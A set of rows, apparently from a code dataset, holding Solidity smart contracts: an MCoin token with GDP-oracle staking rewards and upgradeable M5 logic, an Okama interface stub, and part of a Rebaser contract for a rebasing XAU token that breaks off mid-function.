transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title MineableToken * @dev ERC20 Token with Pos mining. * The blockReward_ is controlled by a GDP oracle tied to the national identity or currency union identity of the subject MonetaryCoin. * This type of mining will be used during both the initial distribution period and when GDP growth is positive. * For mining during negative growth period please refer to MineableM5Token.sol. * Unlike standard erc20 token, the totalSupply is sum(all user balances) + totalStake instead of sum(all user balances). */ contract MineableToken is MintableToken { event Commit(address indexed from, uint value,uint atStake, int onBlockReward); event Withdraw(address indexed from, uint reward, uint commitment); uint256 totalStake_ = 0; int256 blockReward_; //could be positive or negative according to GDP struct Commitment { uint256 value; // value commited to mining uint256 onBlockNumber; // commitment done on block uint256 atStake; // stake during commitment int256 onBlockReward; } mapping( address => Commitment ) miners; /** * @dev commit _value for minning * @notice the _value will be substructed from user balance and added to the stake. * if user previously commited, add to an existing commitment. * this is done by calling withdraw() then commit back previous commit + reward + new commit * @param _value The amount to be commited. * @return the commit value: _value OR prevCommit + reward + _value */ function commit(uint256 _value) public returns (uint256 commitmentValue) { require(0 < _value); require(_value <= balances[msg.sender]); commitmentValue = _value; uint256 prevCommit = miners[msg.sender].value; //In case user already commited, withdraw and recommit // new commitment value: prevCommit + reward + _value if (0 < prevCommit) { // withdraw Will revert if reward is negative uint256 prevReward; (prevReward, prevCommit) = withdraw(); commitmentValue = prevReward.add(prevCommit).add(_value); } // sub will revert if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(commitmentValue); emit Transfer(msg.sender, address(0), commitmentValue); totalStake_ = totalStake_.add(commitmentValue); miners[msg.sender] = Commitment( commitmentValue, // Commitment.value block.number, // onBlockNumber totalStake_, // atStake = current stake + commitments value blockReward_ // onBlockReward ); emit Commit(msg.sender, commitmentValue, totalStake_, blockReward_); // solium-disable-line return commitmentValue; } /** * @dev withdraw reward * @return { "uint256 reward": the new supply "uint256 commitmentValue": the commitment to be returned } */ function withdraw() public returns (uint256 reward, uint256 commitmentValue) { require(miners[msg.sender].value > 0); //will revert if reward is negative: reward = getReward(msg.sender); Commitment storage commitment = miners[msg.sender]; commitmentValue = commitment.value; uint256 withdrawnSum = commitmentValue.add(reward); totalStake_ = totalStake_.sub(commitmentValue); totalSupply_ = totalSupply_.add(reward); balances[msg.sender] = balances[msg.sender].add(withdrawnSum); emit Transfer(address(0), msg.sender, commitmentValue.add(reward)); delete miners[msg.sender]; emit Withdraw(msg.sender, reward, commitmentValue); // solium-disable-line return (reward, commitmentValue); } /** * @dev Calculate the reward if withdraw() happans on this block * @notice The reward is calculated by the formula: * (numberOfBlocks) * (effectiveBlockReward) * (commitment.value) / (effectiveStake) * effectiveBlockReward is the average between the block reward during commit and the block reward during the call * effectiveStake is the average between the stake during the commit and the stake during call (liniar aproximation) * @return An uint256 representing the reward amount */ function getReward(address _miner) public view returns (uint256) { if (miners[_miner].value == 0) { return 0; } Commitment storage commitment = miners[_miner]; int256 averageBlockReward = signedAverage(commitment.onBlockReward, blockReward_); require(0 <= averageBlockReward); uint256 effectiveBlockReward = uint256(averageBlockReward); uint256 effectiveStake = average(commitment.atStake, totalStake_); uint256 numberOfBlocks = block.number.sub(commitment.onBlockNumber); uint256 miningReward = numberOfBlocks.mul(effectiveBlockReward).mul(commitment.value).div(effectiveStake); return miningReward; } /** * @dev Calculate the average of two integer numbers * @notice 1.5 will be rounded toward zero * @return An uint256 representing integer average */ function average(uint256 a, uint256 b) public pure returns (uint256) { return a.add(b).div(2); } /** * @dev Calculate the average of two signed integers numbers * @notice 1.5 will be toward zero * @return An int256 representing integer average */ function signedAverage(int256 a, int256 b) public pure returns (int256) { int256 ans = a + b; if (a > 0 && b > 0 && ans <= 0) { require(false); } if (a < 0 && b < 0 && ans >= 0) { require(false); } return ans / 2; } /** * @dev Gets the commitment of the specified address. * @param _miner The address to query the the commitment Of * @return the amount commited. */ function commitmentOf(address _miner) public view returns (uint256) { return miners[_miner].value; } /** * @dev Gets the all fields for the commitment of the specified address. * @param _miner The address to query the the commitment Of * @return { "uint256 value": the amount commited. "uint256 onBlockNumber": block number of commitment. "uint256 atStake": stake when commited. "int256 onBlockReward": block reward when commited. } */ function getCommitment(address _miner) public view returns ( uint256 value, // value commited to mining uint256 onBlockNumber, // commited on block uint256 atStake, // stake during commit int256 onBlockReward // block reward during commit ) { value = miners[_miner].value; onBlockNumber = miners[_miner].onBlockNumber; atStake = miners[_miner].atStake; onBlockReward = miners[_miner].onBlockReward; } /** * @dev the total stake * @return the total stake */ function totalStake() public view returns (uint256) { return totalStake_; } /** * @dev the block reward * @return the current block reward */ function blockReward() public view returns (int256) { return blockReward_; } } /** * @title GDPOraclizedToken * @dev This is an interface for the GDP Oracle to control the mining rate. * For security reasons, two distinct functions were created: * setPositiveGrowth() and setNegativeGrowth() */ contract GDPOraclizedToken is MineableToken { event GDPOracleTransferred(address indexed previousOracle, address indexed newOracle); event BlockRewardChanged(int oldBlockReward, int newBlockReward); address GDPOracle_; address pendingGDPOracle_; /** * @dev Modifier Throws if called by any account other than the GDPOracle. */ modifier onlyGDPOracle() { require(msg.sender == GDPOracle_); _; } /** * @dev Modifier throws if called by any account other than the pendingGDPOracle. */ modifier onlyPendingGDPOracle() { require(msg.sender == pendingGDPOracle_); _; } /** * @dev Allows the current GDPOracle to transfer control to a newOracle. * The new GDPOracle need to call claimOracle() to finalize * @param newOracle The address to transfer ownership to. */ function transferGDPOracle(address newOracle) public onlyGDPOracle { pendingGDPOracle_ = newOracle; } /** * @dev Allows the pendingGDPOracle_ address to finalize the transfer. */ function claimOracle() onlyPendingGDPOracle public { emit GDPOracleTransferred(GDPOracle_, pendingGDPOracle_); GDPOracle_ = pendingGDPOracle_; pendingGDPOracle_ = address(0); } /** * @dev Chnage block reward according to GDP * @param newBlockReward the new block reward in case of possible growth */ function setPositiveGrowth(int256 newBlockReward) public onlyGDPOracle returns(bool) { // protect against error / overflow require(0 <= newBlockReward); emit BlockRewardChanged(blockReward_, newBlockReward); blockReward_ = newBlockReward; } /** * @dev Chnage block reward according to GDP * @param newBlockReward the new block reward in case of negative growth */ function setNegativeGrowth(int256 newBlockReward) public onlyGDPOracle returns(bool) { require(newBlockReward < 0); emit BlockRewardChanged(blockReward_, newBlockReward); blockReward_ = newBlockReward; } /** * @dev get GDPOracle * @return the address of the GDPOracle */ function GDPOracle() public view returns (address) { // solium-disable-line mixedcase return GDPOracle_; } /** * @dev get GDPOracle * @return the address of the GDPOracle */ function pendingGDPOracle() public view returns (address) { // solium-disable-line mixedcase return pendingGDPOracle_; } } /** * @title MineableM5Token * @notice This contract adds the ability to mine for M5 tokens when growth is negative. * The M5 token is a distinct ERC20 token that may be obtained only following a period of negative GDP growth. * The logic for M5 mining will be finalized in advance of the close of the initial distribution period – see the White Paper for additional details. * After upgrading this contract with the final M5 logic, finishUpgrade() will be called to permanently seal the upgradeability of the contract. */ contract MineableM5Token is GDPOraclizedToken { event M5TokenUpgrade(address indexed oldM5Token, address indexed newM5Token); event M5LogicUpgrade(address indexed oldM5Logic, address indexed newM5Logic); event FinishUpgrade(); // The M5 token contract address M5Token_; // The contract to manage M5 mining logic. address M5Logic_; // The address which controls the upgrade process address upgradeManager_; // When isUpgradeFinished_ is true, no more upgrades is allowed bool isUpgradeFinished_ = false; /** * @dev get the M5 token address * @return M5 token address */ function M5Token() public view returns (address) { return M5Token_; } /** * @dev get the M5 logic contract address * @return M5 logic contract address */ function M5Logic() public view returns (address) { return M5Logic_; } /** * @dev get the upgrade manager address * @return the upgrade manager address */ function upgradeManager() public view returns (address) { return upgradeManager_; } /** * @dev get the upgrade status * @return the upgrade status. if true, no more upgrades are possible. */ function isUpgradeFinished() public view returns (bool) { return isUpgradeFinished_; } /** * @dev Throws if called by any account other than the GDPOracle. */ modifier onlyUpgradeManager() { require(msg.sender == upgradeManager_); require(!isUpgradeFinished_); _; } /** * @dev Allows to set the M5 token contract * @param newM5Token The address of the new contract */ function upgradeM5Token(address newM5Token) public onlyUpgradeManager { // solium-disable-line require(newM5Token != address(0)); emit M5TokenUpgrade(M5Token_, newM5Token); M5Token_ = newM5Token; } /** * @dev Allows the upgrade the M5 logic contract * @param newM5Logic The address of the new contract */ function upgradeM5Logic(address newM5Logic) public onlyUpgradeManager { // solium-disable-line require(newM5Logic != address(0)); emit M5LogicUpgrade(M5Logic_, newM5Logic); M5Logic_ = newM5Logic; } /** * @dev Allows the upgrade the M5 logic contract and token at the same transaction * @param newM5Token The address of a new M5 token * @param newM5Logic The address of the new contract */ function upgradeM5(address newM5Token, address newM5Logic) public onlyUpgradeManager { // solium-disable-line require(newM5Token != address(0)); require(newM5Logic != address(0)); emit M5TokenUpgrade(M5Token_, newM5Token); emit M5LogicUpgrade(M5Logic_, newM5Logic); M5Token_ = newM5Token; M5Logic_ = newM5Logic; } /** * @dev Function to dismiss the upgrade capability * @return True if the operation was successful. */ function finishUpgrade() onlyUpgradeManager public returns (bool) { isUpgradeFinished_ = true; emit FinishUpgrade(); return true; } /** * @dev Calculate the reward if withdrawM5() happans on this block * @notice This is a wrapper, which calls and return result from M5Logic * the actual logic is found in the M5Logic contract * @param _miner The address of the _miner * @return An uint256 representing the reward amount */ function getM5Reward(address _miner) public view returns (uint256) { require(M5Logic_ != address(0)); if (miners[_miner].value == 0) { return 0; } // check that effective block reward is indeed negative require(signedAverage(miners[_miner].onBlockReward, blockReward_) < 0); // return length (bytes) uint32 returnSize = 32; // target contract address target = M5Logic_; // method signeture for target contract bytes32 signature = keccak256("getM5Reward(address)"); // size of calldata for getM5Reward function: 4 for signeture and 32 for one variable (address) uint32 inputSize = 4 + 32; // variable to check delegatecall result (success or failure) uint8 callResult; // result from target.getM5Reward() uint256 result; assembly { // solium-disable-line // return _dest.delegatecall(msg.data) mstore(0x0, signature) // 4 bytes of method signature mstore(0x4, _miner) // 20 bytes of address // delegatecall(g, a, in, insize, out, outsize) - call contract at address a with input mem[in..(in+insize)) // providing g gas and v wei and output area mem[out..(out+outsize)) returning 0 on error (eg. out of gas) and 1 on success // keep caller and callvalue callResult := delegatecall(sub(gas, 10000), target, 0x0, inputSize, 0x0, returnSize) switch callResult case 0 { revert(0,0) } default { result := mload(0x0) } } return result; } event WithdrawM5(address indexed from,uint commitment, uint M5Reward); /** * @dev withdraw M5 reward, only appied to mining when GDP is negative * @return { "uint256 reward": the new M5 supply "uint256 commitmentValue": the commitment to be returned } */ function withdrawM5() public returns (uint256 reward, uint256 commitmentValue) { require(M5Logic_ != address(0)); require(M5Token_ != address(0)); require(miners[msg.sender].value > 0); // will revert if reward is positive reward = getM5Reward(msg.sender); commitmentValue = miners[msg.sender].value; require(M5Logic_.delegatecall(bytes4(keccak256("withdrawM5()")))); // solium-disable-line return (reward,commitmentValue); } //triggered when user swaps m5Value of M5 tokens for value of regular tokens. event Swap(address indexed from, uint256 M5Value, uint256 value); /** * @dev swap M5 tokens back to regular tokens when GDP is back to positive * @param _value The amount of M5 tokens to swap for regular tokens * @return true */ function swap(uint256 _value) public returns (bool) { require(M5Logic_ != address(0)); require(M5Token_ != address(0)); require(M5Logic_.delegatecall(bytes4(keccak256("swap(uint256)")),_value)); // solium-disable-line return true; } } /** * @title MCoin * @dev The MonetaryCoin contract * The MonetaryCoin contract allows for the creation of a new monetary coin. * The supply of a minable coin in a period is defined by an oracle that reports GDP data from the country related to that coin. * Example: If the GDP of a given country grows by 3%, then 3% more coins will be available for forging (i.e. mining) in the next period. * Coins will be distributed by the proof of stake forging mechanism both during and after the initial distribution period. * The Proof of stake forging is defined by the MineableToken.sol contract. */ contract MCoin is MineableM5Token { string public name; // solium-disable-line uppercase string public symbol; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase constructor( string tokenName, string tokenSymbol, uint256 blockReward, // will be transformed using toDecimals() address GDPOracle, address upgradeManager ) public { require(GDPOracle != address(0)); require(upgradeManager != address(0)); name = tokenName; symbol = tokenSymbol; blockReward_ = toDecimals(blockReward); emit BlockRewardChanged(0, blockReward_); GDPOracle_ = GDPOracle; emit GDPOracleTransferred(0x0, GDPOracle_); M5Token_ = address(0); M5Logic_ = address(0); upgradeManager_ = upgradeManager; } function toDecimals(uint256 _value) pure internal returns (int256 value) { value = int256 ( _value.mul(10 ** uint256(decimals)) ); assert(0 < value); return value; } }
the block reward return the current block reward/
function blockReward() public view returns (int256) { return blockReward_; }
910,995
./full_match/43113/0x5F8bE8B38bAb68683157718b05C4FFa703a8283B/sources/_MAKO.sol
Include All Okama Functions & Events function mintFrom(address tokenAddress, uint amount, address creditAccount) external returns(bool,uint){ if (tokenAddress == v1Contract) { _maxSupply += amount; _mintTokens(creditAccount, amount); } else { _mintTokens(creditAccount, amount); } } function activateContract(uint256 unMintedTokens) external returns(bool){ require(msg.sender == v1Contract, "OKAMA: Only Activatable Via Predecessor"); _maxSupply = unMintedTokens.add(_balances[address(this)]); _totalSupply = _balances[address(this); return true; }
interface OkamaProject { function mintFrom(address tokenAddress, uint amount, address creditAccount) external returns(bool,uint); function activateContract(uint256 unMintedTokens) external returns(bool); }
7,107,536
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./lib/IERC20.sol"; import "./lib/SafeMath.sol"; import './lib/IUniswapV2Pair.sol'; import "./lib/UniswapV2OracleLibrary.sol"; import "./lib/Context.sol"; import "./lib/Ownable.sol"; import "./lib/IXAUToken.sol"; import "./oracle/chainlink/contracts/interfaces/AggregatorV3Interface.sol"; // https://docs.balancer.finance/api/api#gulp interface BAL { function gulp(address token) external; } contract Rebaser is Context, Ownable { using SafeMath for uint256; AggregatorV3Interface public targetRateOracle1; AggregatorV3Interface public targetRateOracle2; uint256 public targetRateOracleScale; struct Transaction { bool enabled; address destination; bytes data; } /// @notice an event emitted when a transaction fails event TransactionFailed(address indexed destination, uint index, bytes data); /// @notice an event emitted when deviationThreshold is changed event NewDeviationThreshold(uint256 oldDeviationThreshold, uint256 newDeviationThreshold); /// @notice an event emitted when maxRebaseRatio is changed event NewMaxRebaseRatio(uint256 oldMaxRebaseRatio, uint256 newMaxRebaseRatio); // Stable ordering is not guaranteed. Transaction[] public transactions; /// @notice Spreads out getting to the target price uint256 public rebaseLag; /// @notice Peg target uint256 public targetRate; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. uint256 public deviationThreshold; /// @notice Max scalingFactor change ratio per one rebase iteration uint256 public maxRebaseRatio; /// @notice More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; /// @notice Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; /// @notice The rebase window begins this many seconds into the minRebaseTimeInterval period. // For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds. uint256 public rebaseWindowOffsetSec; /// @notice The length of the time window where a rebase operation is allowed to execute, in seconds. uint256 public rebaseWindowLengthSec; /// @notice The number of rebase cycles since inception uint256 public epoch; // rebasing is not active initially. It can be activated at T+12 hours from // deployment time ///@notice boolean showing rebase activation status bool public rebasingActive; /// @notice delays rebasing activation to facilitate liquidity uint256 public rebaseDelay; /// @notice Time of TWAP initialization uint256 public timeOfTWAPInit; /// @notice XAU token address address public xauToken; /// @notice reserve token address public reserveToken; /// @notice pair for reserveToken <> xauToken address public uniswapPair; /// @notice list of uniswap pairs to sync address[] public uniSyncPairs; /// @notice list of balancer pairs to gulp address[] public balGulpPairs; /// @notice last TWAP update time uint32 public blockTimestampLast; /// @notice last TWAP cumulative price; uint256 public priceCumulativeLast; /// @notice Whether or not this token is first in uniswap YAM<>Reserve pair bool public isToken0; uint256 public constant BASE = 10**18; constructor( address xauToken_, address reserveToken_, address uniswapPair_, address targetRateOracle1Address_, address targetRateOracle2Address_, uint256 targetRateOracleDecimals_, uint256 _minRebaseTimeIntervalSec, uint256 _rebaseWindowOffsetSec, uint256 _rebaseWindowLengthSec, uint256 _rebaseDelay ) public { minRebaseTimeIntervalSec = _minRebaseTimeIntervalSec; rebaseWindowOffsetSec = _rebaseWindowOffsetSec; // 8am/8pm UTC rebases (address token0, ) = sortTokens(xauToken_, reserveToken_); targetRateOracle1 = AggregatorV3Interface(targetRateOracle1Address_); targetRateOracle2 = AggregatorV3Interface(targetRateOracle2Address_); targetRateOracleScale = 10**targetRateOracleDecimals_; // used for interacting with uniswap if (token0 == xauToken_) { isToken0 = true; } else { isToken0 = false; } uniswapPair = uniswapPair_; uniSyncPairs.push(uniswapPair); xauToken = xauToken_; // Reserve token is not mutable. Must deploy a new rebaser to update it reserveToken = reserveToken_; // 1 YYCRV targetRate = BASE; // twice daily rebase, with targeting reaching peg in 5 days rebaseLag = 5; // 5% deviationThreshold = 5 * 10**16; // 2.0x (we can rebase up to 2.0x or down to 0.5x in one step) maxRebaseRatio = 2 * 10**18; // 60 minutes rebaseWindowLengthSec = _rebaseWindowLengthSec; // 3 days rebaseDelay = _rebaseDelay; } function removeUniPair(uint256 index) public onlyOwner { if (index >= uniSyncPairs.length) return; uint256 totalUniPairs = uniSyncPairs.length; for (uint256 i = index; i < totalUniPairs - 1; i++) { uniSyncPairs[i] = uniSyncPairs[i + 1]; } // uniSyncPairs.length--; delete uniSyncPairs[totalUniPairs.sub(1)]; } function removeBalPair(uint256 index) public onlyOwner { if (index >= balGulpPairs.length) return; uint256 totalGulpPairs = balGulpPairs.length; for (uint256 i = index; i < totalGulpPairs - 1; i++) { balGulpPairs[i] = balGulpPairs[i + 1]; } // uniSyncPairs.length--; delete balGulpPairs[totalGulpPairs.sub(1)]; } /** @notice Adds pairs to sync * */ function addUniSyncPairs(address[] memory uniSyncPairs_) public onlyOwner { for (uint256 i = 0; i < uniSyncPairs_.length; i++) { uniSyncPairs.push(uniSyncPairs_[i]); } } /** @notice Adds pairs to sync * */ function addGulpSyncPairs(address[] memory balGulpPairs_) public onlyOwner { for (uint256 i = 0; i < balGulpPairs_.length; i++) { balGulpPairs.push(balGulpPairs_[i]); } } /** @notice Uniswap synced pairs * */ function getUniSyncPairs() public view returns (address[] memory) { address[] memory pairs = uniSyncPairs; return pairs; } /** @notice Uniswap synced pairs * */ function getBalGulpPairs() public view returns (address[] memory) { address[] memory pairs = balGulpPairs; return pairs; } /** @notice Initializes TWAP start point, starts countdown to first rebase * */ function initTWAP() public { require(timeOfTWAPInit == 0, "already activated"); (uint priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswapPair, isToken0); require(blockTimestamp > 0, "no trades"); blockTimestampLast = blockTimestamp; priceCumulativeLast = priceCumulative; timeOfTWAPInit = blockTimestamp; } /** @notice Activates rebasing * @dev One way function, cannot be undone, callable by anyone */ function activateRebasing() public { require(timeOfTWAPInit > 0, "twap wasnt intitiated, call initTWAP()"); // cannot enable prior to end of rebaseDelay require(now >= timeOfTWAPInit + rebaseDelay, "!end_delay"); rebasingActive = true; } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is 1e18 */ function rebase() public { // EOA only or gov require(msg.sender == tx.origin || msg.sender == owner()); // ensure rebasing at correct time _inRebaseWindow(); // This comparison also ensures there is no reentrancy. require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) <= now); // FIX: [<] -> [<=] to allow rebase from 0th second of each window require(updateTargetRate(), "Target rate was not defined"); // Snap the rebase time to the start of this window. lastRebaseTimestampSec = now.sub( now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec); epoch = epoch.add(1); // get twap from uniswap v2; uint256 exchangeRate = getTWAP(); // calculates % change to supply (uint256 offPegPerc, bool positive) = computeOffPegPerc(exchangeRate); // 999999452912662667 uint256 indexDelta = offPegPerc; // Apply the Dampening factor. indexDelta = indexDelta.div(rebaseLag); // Clip indexDelta to stay within interval of [1/maxRebaseRatio - 1, maxRebaseRatio - 1] so that // scalingFactor will get multiplied/divided up to maxRebaseRatio times. indexDelta = obeyMaxRebaseRatio(indexDelta, positive); IXAUToken xau = IXAUToken(xauToken); if (positive) { require(xau.scalingFactor().mul(BASE.add(indexDelta)).div(BASE) < xau.maxScalingFactor(), "new scaling factor will be too big"); } // rebase, ignore returned var xau.rebase(epoch, indexDelta, positive); // perform actions after rebase afterRebase(offPegPerc); } function afterRebase( uint256 /* offPegPerc */ ) internal { // update uniswap pairs for (uint256 i = 0; i < uniSyncPairs.length; i++) { IUniswapV2Pair(uniSyncPairs[i]).sync(); } // update balancer pairs for (uint256 i = 0; i < balGulpPairs.length; i++) { BAL(balGulpPairs[i]).gulp(xauToken); } // call any extra functions for (uint i = 0; i < transactions.length; i++) { Transaction storage t = transactions[i]; if (t.enabled) { bool result = externalCall(t.destination, t.data); if (!result) { emit TransactionFailed(t.destination, i, t.data); revert("Transaction Failed"); } } } } /** * @notice Calculates TWAP from uniswap * * @dev When liquidity is low, this can be manipulated by an end of block -> next block * attack. We delay the activation of rebases 12 hours after liquidity incentives * to reduce this attack vector. Additional there is very little supply * to be able to manipulate this during that time period of highest vuln. */ function getTWAP() internal returns (uint256) { (uint priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswapPair, isToken0); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // no period check as is done in isRebaseWindow // overflow is desired uint256 priceAverage = uint256(uint224((priceCumulative - priceCumulativeLast) / timeElapsed)); priceCumulativeLast = priceCumulative; blockTimestampLast = blockTimestamp; // BASE is on order of 1e18, which takes 2^60 bits // multiplication will revert if priceAverage > 2^196 // (which it can because it overflows intentially) if (priceAverage > uint192(-1)) { // eat loss of precision // effectively: (x / 2**112) * 1e18 return (priceAverage >> 112) * BASE; } // cant overflow // effectively: (x * 1e18 / 2**112) return (priceAverage * BASE) >> 112; } /** * @notice Calculates current TWAP from uniswap * * @dev Has to be called in context, where blockTimestamp > blockTimestampLast, * i.e. in different block after last initTWAP()/getTWAP() call. * */ function getCurrentTWAP() public view returns (uint256) { (uint priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswapPair, isToken0); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // no period check as is done in isRebaseWindow // overflow is desired uint256 priceAverage = uint256(uint224((priceCumulative - priceCumulativeLast) / timeElapsed)); // BASE is on order of 1e18, which takes 2^60 bits // multiplication will revert if priceAverage > 2^196 // (which it can because it overflows intentially) if (priceAverage > uint192(-1)) { // eat loss of precision // effectively: (x / 2**112) * 1e18 return (priceAverage >> 112) * BASE; } // cant overflow // effectively: (x * 1e18 / 2**112) return (priceAverage * BASE) >> 112; } /** * @notice Sets the deviation threshold fraction. If the exchange rate given by the market * oracle is within this fractional distance from the targetRate, then no supply * modifications are made. * @param deviationThreshold_ The new exchange rate threshold fraction. */ function setDeviationThreshold(uint256 deviationThreshold_) external onlyOwner { require(deviationThreshold_ > 0); // FIX: fixed YAM bug: require should validate argument, not member uint256 oldDeviationThreshold = deviationThreshold; deviationThreshold = deviationThreshold_; emit NewDeviationThreshold(oldDeviationThreshold, deviationThreshold_); } /** * @notice Sets the deviation threshold fraction. If the exchange rate given by the market * oracle is within this fractional distance from the targetRate, then no supply * modifications are made. * @param maxRebaseRatio_ The new exchange rate threshold fraction. */ function setMaxRebaseRatio(uint256 maxRebaseRatio_) external onlyOwner { require(maxRebaseRatio_ > 1 * 10**18); uint256 oldMaxRebaseRatio = maxRebaseRatio; maxRebaseRatio = maxRebaseRatio_; emit NewMaxRebaseRatio(oldMaxRebaseRatio, maxRebaseRatio_); } /** * @param indexDelta The indexDelta to be clipped using maxRebaseRatio. * @param positive Sign of indexDelta. * @return unchanged indexDelta if resulting scalingFactor will stay within * [scalingFactor / maxRebaseRatio, scalingFactor * maxRebaseRatio] interval, * or maxIndexDelta derived from direction and maxRebaseRatio (saturation) */ function obeyMaxRebaseRatio(uint256 indexDelta, bool positive) internal view returns (uint256) { uint256 maxIndexDelta = (positive ? 